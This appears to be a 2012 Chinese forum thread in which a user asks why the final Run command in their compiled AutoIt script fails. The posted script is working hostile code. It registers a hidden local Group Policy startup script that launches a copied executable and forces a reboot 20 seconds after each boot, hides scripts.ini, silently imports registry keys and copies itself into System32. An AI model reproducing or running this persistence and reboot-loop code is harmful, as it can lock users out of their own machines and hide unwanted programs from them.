[已解决]代码最后的RUN,编译前执行正常,编译后就执行不了了
本帖最后由 xiaowo 于 2012-7-2 23:32 编辑代码最后的RUN,编译前执行正常,编译后就执行不了了,换成RUNWAIT也不行,没加壳也没迷惑,百思不得其解,请问是哪里出现的问题?
RunWait(@ComSpec & ' /c md "' & @SystemDir & '\GroupPolicy\Machine\Scripts\StartUp"', '', 0)
FileClose(FileOpen(@SystemDir & "\GroupPolicy\Machine\Scripts\StartUp\pig.bat", 2))
Local $Bat = '@echo off' & @CRLF & _
'start ' & @SystemDir & '\pig.exe' & @CRLF & _
'start shutdown -r -t 20' & @CRLF & _
'exit'
FileWriteLine(@SystemDir & "\GroupPolicy\Machine\Scripts\StartUp\pig.bat", $Bat)
RunWait(@ComSpec & ' /c ' & "attrib -h -r -s C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini", '', 0)
FileClose(FileOpen(@SystemDir & "\GroupPolicy\Machine\Scripts\scripts.ini", 2))
Local $Scripts = '' & @CRLF & _
'' & @CRLF & _
'0CmdLine=pig.bat' & @CRLF & _
'0Parameters='
FileWriteLine(@SystemDir & "\GroupPolicy\Machine\Scripts\scripts.ini", $Scripts)
RunWait(@ComSpec & ' /c ' & "attrib +h " & @SystemDir & "\GroupPolicy\Machine\Scripts\scripts.ini", '', 0)
Local $Reg = 'Windows Registry Editor Version 5.00' & @CRLF & _
'' & @CRLF & _
'' & @CRLF & _
'"GPO-ID"="LocalGPO"' & @CRLF & _
'"SOM-ID"="Local"' & @CRLF & _
'"FileSysPath"="C:\\WINDOWS\\System32\\GroupPolicy\\Machine"' & @CRLF & _
'"DisplayName"="Local Group Policy"' & @CRLF & _
'"GPOName"="Local Group Policy"' & @CRLF & _
'' & @CRLF & _
'' & @CRLF & _
'"Script"="pig.bat"' & @CRLF & _
'"Parameters"=""' & @CRLF & _
'"ExecTime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00' & @CRLF & _
'' & @CRLF & _
'' & @CRLF & _
'"GPO-ID"="LocalGPO"' & @CRLF & _
'"SOM-ID"="Local"' & @CRLF & _
'"FileSysPath"="C:\\WINDOWS\\System32\\GroupPolicy\\Machine"' & @CRLF & _
'"DisplayName"="Local Group Policy"' & @CRLF & _
'"GPOName"="Local Group Policy"' & @CRLF & _
'' & @CRLF & _
'' & @CRLF & _
'"Script"="pig.bat"' & @CRLF & _
'"Parameters"=""' & @CRLF & _
'"ExecTime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00'
FileWriteLine(@TempDir & "\StartUp.reg", $Reg)
RunWait(@ComSpec & ' /c regedit /s ' & @TempDir & "\StartUp.reg", "", 0)
FileDelete(@TempDir & "\StartUp.reg")
FileCopy(@ScriptFullPath, @SystemDir & "\", 9)
Run(@ComSpec & ' /c shutdown -r -t 20', @ScriptDir, 0) ;就是这里,编译后不执行 用ShellExecute解决了,不过还是希望知道原因,希望能得到指点,谢谢了 楼主好人啊,谢谢分享
页:
[1]